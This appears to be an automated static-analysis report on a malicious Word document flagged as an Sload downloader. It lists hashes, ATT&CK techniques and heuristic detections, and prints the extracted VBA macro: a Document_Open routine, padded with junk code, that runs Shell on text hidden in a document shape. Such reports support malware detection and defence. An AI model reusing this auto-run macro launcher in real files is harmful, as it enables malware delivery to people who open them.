Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3090bf60a3dd4f5b…

MALICIOUS

Office (OLE)

69.8 KB Created: 2018-11-06 12:14:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: f61574cce587590f16a511fc4f489334 SHA-1: b837bd1de27c6b509998bff59b887953db0a3130 SHA-256: 3090bf60a3dd4f5bfc08169581752e39657f2e4a3d409bf7e94b5c2df170a1cf
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Document_open VBA macro that executes a complex PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell's InvokeCommand. The decoded payload likely downloads and executes a second-stage payload, as indicated by the PowerShell execution and the ClamAV detection as a downloader. The embedded PowerShell command is obfuscated but reconstructs to a specific command line that is included as an IOC.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1015 bytes
SHA-256: 7195f5c1cb3f9f603bb96215698f079d8bbc65530945a3a6adb0d83c789d9f53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sWbNEmKwrH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   iPWki = kUbdpi + dAmww + OzZMY + JoqJs * EGRip + zBjwD + cRkCbu + HWCaaF
   CclwVi = (IOcUF + MCaKmE / (jhUwW + TfYftk + wiMvqI + jijPi / (RGHOW + ubFUH)))
   zYisKa = MiUmL + bWaMG / (MFfRXV + DTWTJ + GCJoz + pCMCb * rwcuz + pMzll + GLWwW + pLLkF)
   ZvtKiP = YCzKaA + YQvjjH / GMvUl + BfrZnN / blEsH + jMAcj / GZiKi + TrCSi
Const ZiqzvTiPA = 986792226 - 986792226
Shell@ Shapes(1).TextFrame.TextRange.Text + csQjzCD + WjIWFdz, ZiqzvTiPA
   GzcRai = faIsBQ + BWRuua / IXHhbR + LwCBz + kwwjQ + GnzUO
   UffTno = (NwZVj + MfUiFr * (FMDZh + jUnKCs / lwWfd + NuzmY + zQwaST + XZjHb))
   Qrimz = fINPtH + ccQowv + miOtj + OOhji * hljaz + vZBron + YdHjG + jCkii
End Sub

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